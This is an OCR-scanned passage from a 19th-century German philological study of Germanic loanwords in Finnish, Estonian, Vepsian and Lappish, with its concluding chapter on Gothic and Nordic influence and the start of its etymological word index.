1) Die läpp, endung ist durch eine ähnliche zusanmienziehung
entstanden, wie wenn z. b. vuojggad, recht, gerade (s. 39) in der
attributiven form (die gewöhnlich durch zusatz von -s gebildet wird)
vujggis anstatt *vujggide 8, *-ggijes lautet, d. h. die zusammen-
Ziehung ist eingetreten, ehe i zu a wurde; das dadurch entstandene
lange I hat sich unverändert erhalten und bewirkt zugleich, dass der
vorhergehende consonant • durchgehends verstärkt wird. Vgl. Friis
Gramm. § 132.
Thomsen, Einfiuss d. germ. sprachen. q
114 Verbum.
1. pers. -om, inf. -ot^ kann vielleicht bisweilen auf
urspr. -ö- = altn. -a- zurückweisen, wie in likot, gefal-
len, Wca; skipot, ein-, ausschiffen, skipa, entspricht aber
doch auch anderen formen, wie in udnot, gönnen, unna;
rappot, 1. pers. rabom, rayom, graben, oder ist ablei-
tungsendung, wie wahrscheinlich in layggot, baden, von
lavggo, bad.
1. pers. -am, inf. -et ist nicht so häufig; es kommt
sowol bei starken verbis vor, z. b. bädnet, apinnen;
rldet, reiten; niktet, gemessen, als bei schwachen, z. b.
mässet, verlieren, missa; vuörddet, erwarten (vergl.
f. vartoa).
1) Meist flectiert nach Friis § 132 (contrahiert) , seltener nach
§. 131.
m. KflckMlck. ScUuss.
Nachdem wir so im einzelnen die formen entwickelt 99
und zu begründen versucht haben, in denen die lehnwörter
aus den germanischen sprachen in den finnisch -lappischen
erscheinen, wollen wir uns nun zu einer genaueren betrach-
tung der im anfeng der vorausgehenden Untersuchung ange-
deuteten allgemeinen züge zurück wenden. Es wird zunächst
klar geworden sein, dass der behandelte einfluss eine folge
jahrhundertelanger berührung sein muss und dass er eine
reihe verschiedener entwickelungsstufen innerhalb der ger-
manischen Sprachklasse abspiegelt. Diese lassen sich jedoch
ziemlich natürlich unter die zwei hauptstufen zusammen-
fassen, von denen wir ausgegangen sind, eine ältere und
eine jüngere. Geringere Verschiedenheiten zeigen sich wie-
der innerhalb einer jeden von diesen, doch lässt sich eine
fernere Scheidung nicht wol durchführen. Wir wollen nun
eine jede von beiden für sich etwaä' näher betrachten und
dabei mit der letzteren beginnen.
Ein jüngerer, d. h. in historischer zeit vor sich
gegangener einfluss der nordischen sprachen zeigt sich
namentlich im finnischen (Finnland) und im lappischen.
Da die trennung der beiden stamme einer durchaus vor-
historischen zeit angehört, so können wir vor der hand
sagen, dass kein auf dieser stufe entlehntes wort beiden
ursprünglich gemeinsam sein kann. Es herrscht auch eine
grosse Verschiedenheit in der aufgenommenen wortmasse,
und wenn wir eine Übereinstimmung finden, so muss diese
entweder einer parallelgehenden entlehnung zugeschrieben
werden, oder das wort muss wieder aus der einen spräche
in die andere übergegangen sein , meistens wol aus dem fin-
nischen ins lappische (vgl. so lykky, merkki, mylly,
siunaan u. m. a. im wortverz.).
8»
116 Bückblick. Schluss.
Die in den verschiedenen lappischen dialekten vor-
kommenden entlehnungen dieser gruppe weisen in der form
100 wie im wortvorrath selbst speciell auf die gestalt hin , welche
die gemeinsame nordische spräche allmählich in Norwegen
annahm. Hierzu stimmen die historischen Zeugnisse, denn
selbst die schwedischen Lappen hatten im alterthum und
haben zum theil jetzt noch weit mehr berührungen mit den
Norwegern, als mit den Schweden. ^ Ihr verhältniss zu die-
sen ist neuer, und der dadurch verursachte sprachliche ein-
fluss , dessen wirklicher umfang indess sehr schwer zu beur-
theilen ist, da man fast nur schlechte Übersetzungen als
anhaltspunkte hat, scheint wesentlich auf die südlicheren
gestaltungen des schwedisch - lappischen beschränkt zu sein,
und, wie es auch natürlixjh ist, am meisten die nordschwe-
dischen (wester- und nordbottnischen) dialekte abzuspiegeln;
eine Untersuchung hierüber wird sich jedoch, besonders
wegen des schlechten materiales, schwerlich lohnen.
Was das finnische angeht, so muss die einwirkung
natürlich vom schwedischen ausgehen, jedoch mehr von
einer älteren gestalt desselben, als von der jetzigen reichs-
sprache. Wir haben manche beispiele getroffen, welche
voraussetzen , dass die alte quantität noch erhalten war, dass
das jetzige ä wie ä und verschieden von o gesprochen wurde,
dass die diphthonge noch nicht ganz verschwunden waren,
dass k und g noch nicht die weiche ausspräche angenommen
hatten, dass mb nicht zu mm zusammengezogen war, dass
die schwachen substantiva noch die alten flexionsendungen
bewahrt hatten u. dergl. m. Bedenkt man , dass die schwe-
dische spräche seit länger als einem halben Jahrtausend in
gewissen theilen von Finnland (und Ehstland) festen Fuss
gefasst hat, so scheint es natürlich , die nächste quelle der
besprochenen einwirkung in der spräche zu suchen, die sich
in diesen gegenden entwickelte; und wirklich haben die dort
lebenden dialekte noch heutiges tages die meisten der oben
genannten alten züge bewahrt, wie sich denn gewiss auch
1) Vgl. Munch in den Ann. f. nord. Oldk. 1860, s. 338 ff. Hier-
nach sind Dietrichs oben s. 6 angef. äusserungen etwas zu modificieren.
Bückblick. Schlns». 117
bei einer genaueren Untersuchung, die durchzufuhren ich
jedoch nicht im stände bin, verschiedene werte als speciell
in diesen dialekten heimisch erweisen worden. — Ganz
ausserordentlich stark tritt diese einwirkung in den mund-
arten der westlichsten und südlichsten gegenden von Finn-
land hervor, sie nimmt aber dann allmählich ab, je mehr
man in das innere des landes und gegen osten kommt ; noch
in der spräche des Kalevala und der übrigen Volksdichtun-
gen findet man nicht wenige schwedische werte; wenn man 101
aber zu dem eigentlichen russisch - karelischen oder nament-
lich zu dem wepsischen kommt , so fehlen sie ganz. ^ Daför
hat das russische natürlich hier einen um so stärkeren ein-
fluss ausgeübt; so hat z. b. das russ.-kar. riähkä, weps.
gr'ähk, Sünde, von russ. rp'Bx'b gr^ch^ aber das finn. synti;
das russ.-kar. post eli, weps. post el', bett, von russ.
T\OQTe\R postelja^ aber das finn. sänky; das russ.-kar.
zakona, gesetz, von russ. aaKoni) zdkon^ aber das finn.
laki; das weps. melnits, mühle, von russ. MeAbHuij^a
md'nica, aber das finn. mylly.
Im wotischen, ehstnischen und livischen kommen eben-
falls mehrere werte nordischen Ursprungs vor, aber nur
wenige, die nicht auch in Finnland gebraucht würden;
einige können deshalb vielleicht durch das finnische gegangen
sein, andere sind auch wol unmittelbar von den dort woh-
nenden Schweden aufgenommen oder stammen aus den zeiten,
wo diese gegenden unter schwedischer herrschaft standen.
Viel stärker ist im ehstnischen und livischen der einfiuss
des deutschen (plattdeutschen). In sprachhistorischer hinsieht
bietet derselbe jedoch kein besonderes Interesse; es kann
bloss hervorgehoben werden, dass ein grosser theil der im
livischen vorkommenden deutschen werter nicht unmittelbar
aufgenommen , sondern durch das lettische gegangen ist. ^
1) Dasselbe scheint im russisch -lappischen der fall zu sein, nach
den wenigen gröstentheils ungedruckten proben dieses dialektes zu
urtheilen, die ich zu sehen gelegenheit gehabt habe.
2) Vgl. Wiedemann im Bull, de la cl. hist.-phil. de l'ac imp. de
St. Petersbg. XVI, p. 217 f., 230.
118 Rückblick. ScMuss.
Die ältere gruppe von entlehnungen unterscheidet sich
in mehreren beziehungen wesentlich von der vorhergehenden,
wenn man auch freilich keine vollkommen scharfen grenzen
für alle einzelnen Mle ziehen kann. Zunächst weist dieselbe
auf eine Sprachgestaltung zurück , die auf einer ebenso alten^
zum theil sogar auf einer noch älteren stufe steht, als das
gotische. Wir haben so gesehen, dass diese sprachgestal-
tung die quantität der vocale unterschied, dass sie die
diphthonge in ihrer ältesten gestalt ai , au, iu hatte, erste-
ren auch da, wo er im altn. zu d geworden ist; dass sie
weder brechung noch umlaut kannte , dass j und v , sowie
102 h, h, ip, ns, s im inlaut überall bewahrt waren ; die a -
stamme endigten im masc. sg. auf -as im nom., auf -a im
acc, im neutr. auf -a; die i- stamme im nom. auf -is im
masc. wie im fem. (im acc. auf-i), die te- stamme im nom.
auf -M5, im acc. auf -m; einsilbige consonantische stamme
entweder auf -s oder auf -is, aw-stäinme im masc. auf -a,
im fem. auf -o. Ferner findet man die einwirkung einer
solchen quelle ungefähr gleichmässig in der ganzen sprach-
klasse, vom Onega bis zur ostküste von Norwegen, von
Kurland bis zum weissen meer. ^ Wenn dem nun so ist,
so drängt sich zu allernächst die frage auf: haben wir hier
noch erinnerungen an eine zeit, wo der lappische und der
^finnische stamm sich noch nicht getrennt hatten? Diese
frage muss unzweifelhaft mit nein beantwortet werden. Zwar
scheint wesentlich ungefähr dieselbe Sprachgestaltung den
entlehnungen beider stänmie zu gründe gelegen zu haben,
und ein theil der aufgenommenen wortmasse ist auch wirk-
lich gemeinsam; aber daneben gibt es doch auch Verschie-
denheiten (z. b. in urspr. femininstämmen auf -ä;'S. 91) und
namentlich sind diese in beziehung auf den wortvorrath so
gross, dass man zur annähme einer parallelgehenden ein-
1) Ausserhalb der finn. sprachklasse kommen zwar einige ganz
vereinzelte werte vor, die an dieselbe quelle erinnern könnten; aber
ihrer sind so wenige, dass man vorläufig nicht berechtigt zu sein
scheint, irgend welche Schlüsse daraus zu ziehen; vgl. so z. b. im
wortverz. kartano, lato, utar, varas, auch repo s. 45.
Bückbliek. Schlnss. 119
Wirkung gendthigt wird, und es müssen also die gemein- .
Samen Worte auf dieselbe weise me oben erklärt werden.
Etwas anders ist das verhältniss innerhalb eines jeden
einzelnen von diesen beiden stänunen. Betrachten wir zunächst
die Lappen, so finden sich da, soweit ich sehen kann,
etwa dieselben Wörter von dieser gruppe in allen dialekten,
und die quelle, aus der diese stammen, ist wenigstens bei
den unnnttelbar (nicht etwa durch das finnische hindurch)
anfgenonmienen werten offenbar überall dieselbe. Diess
könnte zwar eher darauf hinzudeuten scheinen, dass die
Lappen im alterthum weniger ausgebreitet gewesen seien,
als auf das gegentheil; doch glaube ich kaum, dass man
berechtigt ist, aus diesem umstände einen schluss hierüber
zu ziehen, umsomehr als die nomadische lebensweise der
Lappen einen starken sprachlichen austausch möglich macht.
Ebensowenig als sich sichere Verbindungen zwischen diesen
und anderen germanischen Völkern als den Skandinaviern
nachweisen lassen, ebenso unzweifelhaft ist es, dass ihre
berührungen mit diesen in ihren jetzigen wohnstätten auf
die fernste vorzeit zurückgehen. Ich trage also kein beden- 103
ken , die quelle dieser alten germanischen bestandtheile aus-
schliesslich in einer nordischen Sprachgestaltung zu suchen,
die , wie bereits prof. Dietrich bemerkt hat , auf einer bedeu-
tend älteren stufe gestanden haben muss , als das gewöhnlich
sogenannte altnordische. Eine solche Sprachgestaltung ist
nun wirklich in den letzten Jahren von einer andern seite
ans licht gekommen; das ist die, welche uns in den älte-
sten runendenkmälern vom dritten und den nächst-
folgenden Jahrhunderten an aufbewahrt ist,' und die nach
der Verbreitung der denkmäler in dieser zeit über den gan-
zen Norden von Norwegen bis zur Eider geherrscht haben
muss. Geht man aus von der deutung dieser denkmäler,
für welche prof. S. Bugge durch seine schlagende lesung
der Inschrift des goldenen homes zuerst einen festen grund
gelegt hat und die dann theils von diesem selbst, theils von
Dr. L. Wimmer weiter entwickelt worden ist, ^ so wird man
1) Vgl. MöbiuB in Kiüins Ztschr. XVm, s. 153 flf.
120 Bückblick. Schluss.
finden, dass die vorkommenden oder hier zu erwartenden
formen, wie wir im vorhergehenden öfter gelegentlich ange-
deutet haben, im ganzen genau zu den lappischen stimmen,
höchstens vielleicht wegen des Y ß noch etwas jünger sind,
und zugleich haben wir wol hierin einen starken beweis
dafür , dass wirklich, die genannte deutung in «allem wesent-
lichen die richtige ist. ^
Etwas grössere Schwierigkeiten begegnen uns bei dem
finnischen stamme. Die Sprachgestaltung, die sich hier
abspiegelt, stinmit, wie bemerkt, beinahe ganz mit der
überein, die man fürs lappische voraussetzen muss, und ist
jedesfalls eher älter als jünger. Nun sind aber, wie wir in
der einleitung gesehen haben, die Ehsten und Liven erst
ungefähr im 8. oder 9. Jahrhundert in ihre jetzigen Wohn-
sitze an den kusten der Ostsee gekommen, und die Finnen
können kaum viel früher gekommen sein. Vor dieser zeit
müssen sie sich sämmtlich im innem des landes, in der
Umgebung und jenseits des Ladoga und Onega, aufgehalten
haben, wo sich noch jetzt eine karelische bevölkerung und
am weitesten östlich die Wepsen finden. Hierzu scheinen
auch die inneren Zeugnisse ganz gut zu stimmen. Ein uralter
germanischer einfluss zeigt sich nämlich etwa gleich stark
über den ganzen finn. stamm hin. Die Verbreitung und ver-
theilung der einzelnen werte ist zwar höchst ungleich, nur
104 glaube ich nicht, dass etwas sich mit si<5herheit ausserhalb
des finn. nachweisen lässt, das sich nicht auch in diesem
fände. Diess hat indessen nicht viel zu bedeuten; denn
theüs kann diess wol nur scheinbar sein, weil der wort-
vorrath in mehreren sprachen und dialekten, namentlich
dem wepsischen und wotischen, so unvollständig vorliegt,
theils kann natürlich auch oft das eine und das andere wort
früher im gebrauch gewesen sein, das jetzt verschwunden
ist, wie z. b. im finnischen manche Wörter nur noch in ein-
1) Bugge hat auch, auf grund der Dietrich'schen abhandlung, die
läpp, lehnworte mit der runensprache verglichen und ein paar mal
bestärkende Zeugnisse für seine deutungen daher entnommen (s. Tidskr.
f. Philol. Vn , s. 224 , 242).
Bückblick. Sclilnss. 121
zelnen entlegenen dialekten, besonders in den östlichsten,
oder in den alten yolksdichtungen erhalten sind. Soviel ist
jedesfalls gewiss , dass die in mehreren sprachen vorkommen-
den werte regelmässig überall von derselben grundform
ausgehen, nur mit den abweichnngen , die sich aus den
gewöhnb'chen lautgesetzen ergeben; die sprachen, deren
lautverhältnisse auf der ältesten stufe stehen, haben auch
die lehnworte in der ältesten gestalt bewahrt; namentlich
gilt diess vom wepslschen. Hieraus kann man schliessen,
dass die Völker des finnischen Stammes zu der
zeit, wo sie der hier besprochenen einwirkung
ausgesetzt waren, das heisst wahrscheinlich
noch in den ersten Jahrhunderten unserer Zeit-
rechnung, entweder sich noch nicht verzweigt
hatten, oder jedesfalls in viel engerer Verbin-
dung mit einander gelebt haben, als diess bei
ihren heutigen Wohnsitzen denkbar sein würde,
und diess muss wesentlich in denjgegenden öst-
lich vom finnischen meerbusen gewesen sein.
Betrachtet man nun die beschaffenheit der aufgenom-
menen werte etwas genauer, so zeigt es sich, dass diese
alle möglichen gegenstände und Verhältnisse umfassen:
Staats- und rechtswesen (kuningas, ruhtina, valta,
hallita, tuomita, laina, kihla, sakko, vuokra, kansa, airut,
vartia), waffen (huotra, keihäs, miekka), kleidung
(hame\ kauto, paita, ruokkeet, vantut), geräthschaften
(ansas, antura, kaide', kaira, nakla, niekla, kattila, pale\
raippa, rengas, tanko, tauko; jukkö, marhain, satula; airo,
keula, teljo, nuotta), wohnung (kammio, lattia, telta),
menschen (besonders von den weniger guten Seiten?, aljo,
varas), körpertheile (hartio, lantio, paarmas; vamma),
t hi er e (haikara, havukka, kapris, lanmias, valas, turska),
pfanzen, acker hau (akana, humala, kakra, laukka, ruis,
taina, atra, pelto, leipä), mineralien und andere natur- 105
gegenstände (kulta, rauta, tina, multa, kaltio, ranta,
aalto, luode", rauma), selbst abstracto Verhältnisse
(aika, ailas, kiusa, tarve', vaiva) und eigenschaften
(arka, armas, autia, autuas, harras, hurskas, kaunis, sairas,
122 BückbHck. Schluss.
tiuris , viisas) u. s. w. u. s. w. Eine solche maimigfaltigkeit
lässt sich unmöglich auf zufallige besuche des landeS; etwa
zu handelszwecken ^ oder noch weniger in feindlicher absieht^
zurückfuhren, sie kann nur eine folge eines langdauerndea
und stetigen Zusammenlebens mit einem mächtigeren und
ausgebildeteren, wahrscheinlich näher am meere wohnenden
Volke sein, dessen spräche, wie namentlich die genaue
bewahrung der entlehnten werte einleuchtend macht, wol
auch allgemein von den Finnen verstanden worden sein muss.
Kurz, wir werden mit nothwendigkeit zu der annähme hin-
geführt, dass das volk oder diejenigen Völker der
germanischen klasse, von deren spräche sich so
manche spuren in dem finnischen stamme fin-
den, in Mittelrussland oder eher in den jetzigen
Ostseeprovinzen in der unmittelbaren nähe der
Finnen gewohnt haben müssen.
Wenden wir uns nun , um dieses volk näher zu bestim-
men , zuerst zu den historischen Zeugnissen , so weisen diese
gleich auf die Goten hin , * die bereits frühzeitig als bewoh-
ner der Ostseeküsten östlich von der Weichsel erwähnt wer-
den; zuletzt werden sie hier von Ptolemaeus (in der zweiten
hälfte des 2ten Jahrhunderts) genannt; etwa um dieselbe zeit
müssen sie jedoch gegen Süden nach dem schwarzen meer
zu gewandert sein, von wo aus die sage sie durch die halb
mythischen eroberungen des Ostgoten Ermanarich ^ mit den
nördlicheren gegenden wieder in berührung kommen lässt.
1) Man hat zwar f. kauppa, handel, aber sonst sind gerade die
meisten hierher gehörenden werte anderen und zwar jüngeren Ursprungs,
wie tavara, waare, =ru8S. TOsapT) tovär; turku, markt, von lit.
türgiis; tori von sw. torg u. desgl.
2) S. Zeuss , die Deutschen und die Nachbarst, s. 401 if. Schafa-
rik, Slawische Alterthümer I, (1843), s. 324 fS.
3) Unter den von diesem unterworfenen Völkern nennt Jordanes
(c. 28) bekanntlich auch * Thmdos (oder Thwdoß) inmmxis ,' was dem
anschein nach Finnen bedeuten muss. Durch eine recht ansprechende
vermuthung erklärt Koskinen (Tiedot Suomen -suvun muinaisuudesta,
s. 130) ^m Atmccis'' durch den finn. namen für Olonets, Aunus (st.
Aunuks-, vgl. s. 11). Es fragt sich nur, wie E. selbst einräumt,
wie alt dieser name ist.
Bückblick. Schlttss. 123
Ausser den Goten wird man indessen auch an die Skandi- 106
narier denken können; denn wie es sich auch mit der ein--
Wanderung dieser letzteren verhalten mag, man wird kaum
läugnen können , dass sie bereits vor dem 9. jahrh. in beson-
derer Verbindung mit Gardarfki gestanden haben, was das
Vorhandensein einer verwandten bevölkerung voraussetzt.*
Hierzu stimmen die sprachformen, insofern auch diese
offenbar nur die wähl zwischen eben diesen beiden stammen
gestatten. Wenn wir uns aber nun nach den mittein um-
sehen, welche diese zur entscheidung dieses entweder - oder
liefern, so sind deren nur wenige; denn die meisten formen
weisen bloss auf etwas sehr altes zurück, das einmal dem
gotischen und nordischen gemeinsam gewesen sein muss.
Bestimmte spuren des gotischen im gegensatz zum nordi-
schen scheinen wir jedoch in den formen miekka und
niekla zu haben, wenn meine erklärung derselben richtig
ist; femer in der endung -a bei einigen &- stammen (s.91),
in einzelnen werten wie ailas, kansa, ^aunis, kauto,
lunastaa, paita, tila, äiti, lammas, in der bedeu-
tung 'schaff, autia, das auf einen ja -stamm zurückweist,
wie got. aups, während altn. auär ein a -stamm ist, aika,
auf got. aivs^ während das altn. cefi hat. Abweichend vom
got. und mehr zum nord. stimmend steht das a a in raaka^
saatto, vaate', femer spuren eines Unterschiedes zwischen
i und e, u und o (s. 55), die durchgehende bewahmng des
stammvocals , die endung - o oder - u in verschiedenen femi-
ninis, ferner einzelne werte wie paarmas, parma, wäh-
rend got. harms ein i- stamm ist, harras wie alt. harär^
aber got. hardus, kuningas, aber got pmdans; autuas
stimmt zwar in der bedeutung zu dem got., aber die form
weist mehr auf das nord. hin, ebenso wie 1. audogas, und
so vielleicht noch mehrere. Doch glaube ich selbst , dass
man nicht zu sehr auf den wortvorrath bauen darf, da wir
nicht wissen , in welchem grade sich dieser verändert haben
1) An einen einflnss der Bjarmelandszü^e darf man gewiss weder
bei der älteren noch bei der jüngeren periode denken, welcher letzte-
ren derselbe dann vielmehr angehören müste.
124 BückbUck. ScMuss.
kann, und was speciell die erhaltung des stammauslautes
betrifft;, so kann man auch darin nur eine frage der zeit
sehen; es wäre ja denkbar, dass die mundart, die von den
107 Goten in Bussland gesprochen wurde , in dieser wie in
anderen beziehungen auf einer älteren stufe gestanden hätte^
als Yulfilas spräche , und jedesfalls kommt der stammauslaut
in mehreren der angefahrten werte zum Vorschein, welche
am ehesten gotisch zu sein scheinen. ^ Aber es bleibt doch
noch etwas zurück, das speciell auf das nordische zurück-
weist Anstatt eine entscheidung des entweder -oder zu
bekommen, scheinen wir so bei einem sowol-als auch ste-
hen zu bleiben. Ich sehe far den augenblick keinen andern
ausweg^ als anzunehmen, dass der finnische stamm
vor wenigstens anderthalb oder zwei Jahrtau-
senden dem einflusse verschiedener, wenn auch
einander nahestehender, germanischer sprach-
gestaltungen ausgesetzt gewesen sei, und zwar
theils einer gotischen, die aber auf einer älte-
renstufe gestanden haben muss als die, welche
wir aus Vulfila kennen, theils einer nordischen,
theils vielleicht einer noch älteren gemein-
samen gotisch-nordischen.* Das genauere verhält-
niss dieser einflusse rücksichtlich derzeit, der.dauer und
der ausdehnung lässt sich indessen durchaus nicht entschei-
den. Es ist nicht unwahrscheinlich , dass der so oft bespro-
chene finn. name für Schweden Buotsi (dialektisch Buotti,
Euohti, Buossi), Buotsalainen, schwedisch, ehstn.
1) Wimmer (Navneordenes böjning s. 48) betrachtet die längere
erhaltang des stammanslantes in den nord. sprachen als ^das älteste
nnterscbeidnngszeichen zwischen nordisch und gotisch -germanisch.*
Hierin kann ich mit meinem verehrten freunde gar nicht übereinstim-
men, so wenig wie überhaupt mit seiner auffassung von der eintheilung
der germanischen sprachen, indem ich mit Grimm, Schleicher u. a.
annehme, dass nordisch und gotisch näher an einander zu stellen sind
gegenüber dem westgermanischen.
2) Den einfluss noch weiter zurückzuschieben bis zu der zeit vor
der ersten trennung der germanischen stamme, ja vor dem eintreten
der lautverschiebung (vgl. s. 66 f.) scheint mir zu gewagt und auch
nicht nothwendig.
Bückblick. Schluss. 125
Böts, Bötslane; wot Bötsi, Bötsalaine, liv. Büotsi,
Büotsli, läpp. Buol)pala§^ bereits in diese zeit zurück-
geht; es war diess vielleicht der name eines der stamme,
mit welchen die Pinnen besonders in berührung kamen , und
kann von da später auf Schweden übertragen sein. Indessen 108
darf man hierin nicht einen beweis dafür sehen, dass die
Skandinavier ursprünglich über das Älandsmeer nach Schwe-
den eingewandert seien, eine annähme, von der die histo-
riker in neuerer zeit wieder mehr und mehr abgekommen
sind. Was die spuren eines speciell nordischen einflusses
betrifft, so haben wir hier eher erinnerungen an eine durch
lange zeit fortgesetzte auswanderung aus Skandinavien , die
sich noch in den aus einer späteren zeit stammenden schwe-
dischen niederlassungen in Finnland und Ehstland wieder-
findet.
Auch für die finnischen sprachen selbst haben diese
alten entlehnungen mehr als ein bloss etymologisches Inter-
esse. Da kein grund vorhanden ist anzunehmen, dass diese,
von denen eine menge beständig in der tägUchen rede
gebraucht, werden, ohne dass jemand daran denkt, woher
sie stammen , sich besser als die ächten werte erhalten haben
sollten, so haben wir hier ein mittel, die spätere lautbewe-
gung der finn. sprachen zu bestimmen, und zwar können
wir daraus schliessen, dass das finnische in wenigstens
anderthalb Jahrtausenden sich nur ganz unbedeutend ver-
ändert hat, was ihm natürlich bei jeder vergleichung einen
hervorragenden platz unter allen verwandten sprachen sichern
muss. Dass man hieraus auch wichtige beitrage für die
culturgeschichte holen kann, ergibt sich von selbst, aber
1) Das letztere ist ohne zweifei aus dem finn. entlehnt; synonym
ist laddelas, von ladde, land, nis, Schweden; dagegen heisst ein
Busse Buossalas oder häufiger Garjel, d.h. ein Earele. Ob
Euotsi im weps. bekannt ist, weiss ich nicht; so viel ist gewiBs,
dass es nicht von Kussland gebraucht wird. Dass übrigens Buotsi
= dem altruss. Bus ist , ist unzweifelhaft (vgl. S u omi = Swm' s. 13) ;
dagegen gibt die form, die offenbar etwas verkürzt ist, obwol diess
nicht erst im finn. geschehen zu sein braucht, der etymologie einen
weiten Spielraum.
126 Büekblick. Schluss.
diese seite wird doch ihre rechte bedeutung erst dann bekom-
men, wenn man sie im Zusammenhang mit den spuren
betrachtet, die sich von dem einflusse anderer sprachen
finden, die aber ausserhalb unserer gegenwärtigen aufgäbe
liegen. Ich will in dieser beziehung nur hervorheben, was
ich im vorhergehenden öfter berührt habe und worauf ich
vielleicht ein anderes mal zurückkommen kann, dass das
litauische oder eine damit verwandte und auf ungefähr glei-
cher stufe stehende spräche (neben einer jüngeren einwirkung
der lettischen auf das livische) auch einen sehr grossen ein-
fluss auf den ganzen finnischen stamm ausgeübt hat. Dieser
setzt also eine Veränderung in der geographischen Verbrei-
tung der zwei stamme voraus und muss nach der gleich-
massigen Verbreitung der betreffenden werte in allen spra-
chen von einem ähnlichen alter sein, wie der älteste ger-
manische , doch wohl eher jünger , als älter. Ich habe gQle-
g^tUch auf einzelne vorlitauische formen hingewiesen , z. b.
auf a i => lii e , lett. i ; im ganzen aber steht das lit. -ja
noch auf einer so alten stufe, dass die Verschiedenheit
zwischen den sprachformen nicht gross wird. Ein einfluss
der slawischen sprachen auf den finnischen stamm (verschie-
109 den von der s. 3 angedeuteten möglichkeit einer viel älteren
einwirkung) tritt auch mehr oder weniger in aUen einzelnen
sprachen , in den östlichsten selbst in ausserordentlich hohem
grade, hervor; doch sind die spuren eines solchen einflusses,
die auf eine ähnliche periode zurückweisen könnten, wie die
germanischen und litauischen entlehnungen, ganz verschwin-
dend gering. Es scheint, dass die Finnen erst in einer
verhältnissmässig späteren zeit (wieder?) in unmittelbare
berührung mit denselben gekommen sind, ja selbst die
bezeichnung derselben — f. Venäjä u. s. w. (s. das wort-
verz.) — scheinen sie von den Germanen entlehnt zu haben,
in deren mund dieselbe sich bei den Schriftstellern des alter-
thums mindestens bis in das erste Jahrhundert n. Chr. zurück-
verfolgen lässt. Ein zeugniss davon, wie spät dieser einfluss
eingetreten ist, bietet auch besonders das grosse finnische
epos Kalevala; obgleich dieses nämlich gerade in den gegen-
den bewahrt und aufgezeichnet ist, wo die spräche jetzt am
Bückblick. Schluss. 127
ärgsten mit russisch versetzt ist, so sind dock der russi-
schen Wörter, die darin yorkommen, sehr wenige, ja kaum
einmal so viel wie die übrigens auch nicht sehr zahlreichen
jüngeren nordischen entlehnungen; nur für die altgermani-
schen und litauischen ist diess epos vielleicht verhältnissmässig
die beste und reichste fundgrube. Die anklänge an das ger-
manische in dieser und anderen Volksdichtungen , besonders
dem verwandten, aber etwas weniger alterthümlichen ehst-
nischen epos> Kalewipoeg, beschränken sich indessen nicht
auf die einzelnen Wörter, sondern lassen sich durch eine
vergleichung mit den alten germanischen, speciell den nor-
dischen dichtungen, worauf ich hier nicht eingehen kann,
sowol in der form als auch im Inhalt mehrfach nachweisen,
und zwar zweifle ich nicht daran , dass auch in diesen bezie-
hungen die spuren eines germanischen einflusses auf das
finnische sich als stärker zeigen werden, als die eines ent-
gegengesetzten; man erinnere sich z. b. nur, dass selbst das
finnische wort far gedieht, runo, von germanischem Ursprung
ist. Diese seite verdient gewiss eine genauere und strengere
Untersuchung, als ihr bisher zu theil geworden ist. Indes-
sen muss es zugegeben werden, dass eine solche Unter-
suchung mit grossen Schwierigkeiten verbunden ist; es ist
augenscheinlich, dass die fremden demente in dieser bezie-
hung, mögen sie viel oder wenig sein, jedesfalls viel stär-
ker nach den einheimischen Voraussetzungen umgestaltet
sind; im ganzen sind jedoch diese dichtungen nicht nur das
schönste und grossartigste erzeugniss des finnischen Stam-
mes, sondern auch ein sprechender beweis dafiil:, wie rein
sich der eigentliche kern, der nationale geist der Pinnen
unter so vielfachen berührungen mit fremden doch inmier
erhalten hat.
IV. Wortrerzelchniss. *)
Aalto, gen. -Ilon, f.; weps. ald, gen. -on, unda (47. 93),
sw.-l. aldoh pL, fluctus maris, == an. cMay unda; von
y aZ in got. alands, evTQ€(p6f.i€vog , an. ala, älere, oMinn,
fructus, lai alere, olere, die vielleicht wieder mit y ar,
r bewegen, erheben verwandt ist (s. übrigens Curtius,
Grdz. d. gl-. Etym. ^, s. 311, 320; Corssen, Krit Beitr.
z. lat. Formenl., 344; Krit. Nachtr., 278 ff.; Ausspr.,
Vocal. etc. I*, 530 f.). Vgl. gr. yJvfxa und skr. y gvi, cres-
cere , tumere , an. hylgja und holginn.
ahjo f., ustrina, caminus fabrilis; wot. ahjo, ehst. ahi,
gen. ahju, liv. äi, öi, ofen (53. 66. 67. 93), = ahd.
essa (wo allerdings e auf ursprüngliches i hinweist, vgl.
Schleicher in der Ztschr. f. vgl. sprachf. XI, 52), sw.
ässja. Grimm, D. Wb. El, s. 1159: *aus finn. dhjo ein
goth. asja, asjö (oder isja, isjo) zu schlieszen?' Nw.-l.
agäo, cumulus prunarum, schliesst sich in der bedeutung
näher an nw. esja, asche mit glühenden kohlen, an. Neuere
entlehnungen aus dem deutschen sind ehst. äz, äks, liv.
ez (ez), esse.
ahku^ aahku, gen. ahun, f., cinis conglobatus (66. 93),
=== got. a^gö, an. asha.
aika, gen. ajan, f.; weps. aig, gen. -an, ehst. aeg,
aig, gen. aja, wot. aika, liv. äiga; nw.-, en.-l. ajgge,
sw.-l. aike (nach dem finn.), tempus (50. 68. 75), =
got. aivs (stamm aivor-), an. cefi.
*) Die alten entlehnungen suche ich hier in möglichst gröster Voll-
ständigkeit zu gehen; von den Jüngern nehme ich nur einige der
hezeichnendsten auf. Die ühersetzungen gehe ich in der regel mit den
eigenen Worten der lexica. Die zahlen beziehen sich auf die am rande
angegebenen Seitenzahlen der dänischen ausgäbe, ä (sb) und ö sind
nach z eingereiht Vgl. übrigens das folgende register.
Wortverzeichniss. 129
ajk(a), hajk(a), nw.-l.; en.-l. haik, sw.-l. eik, quercus
(48. 57. 91), = an. eik. Gehört hierzu auch f. aikki,
aihki, sw.-l. haik, pinus procera?
ailas f., weps.; f. ailut (Kalev. 14, 424. 15, 584. 590),
dolor subitus, ictus animi morösus (69. 74. 83. 89), =
got. agffe, alaxQog, aglus, dvoKokog, aglö, aglipa, d^Uipig^
f-ioxS^og. Eine ableitung hiervon ist russ.-kar. ailaS-
San, Ttara^o) (Matth. 26, 31).
ajlegas nw.-L; sw.-l. ailekes, sanctus (49. 57. 63. 69.
75), = an. heilagr, vgl. H^ir^X hailag auf dem Buku-
rester ringe,
ailes, SW.-L, integer^ sanctus ,, nw. - 1. hsejles (Friis
Sprogpr. 104), solidus, = got. hails, vyiijg, an. hdU.
ainoa, ainua, aino f.; ehst. ainus, gen. ainsa, ainuw,
wot. ainia, liv. ainagi, nw.-, en.-l. ajdno; sw.-l.
aina, aine, unicus, solus, = got. ainaha, (ains)^ an.
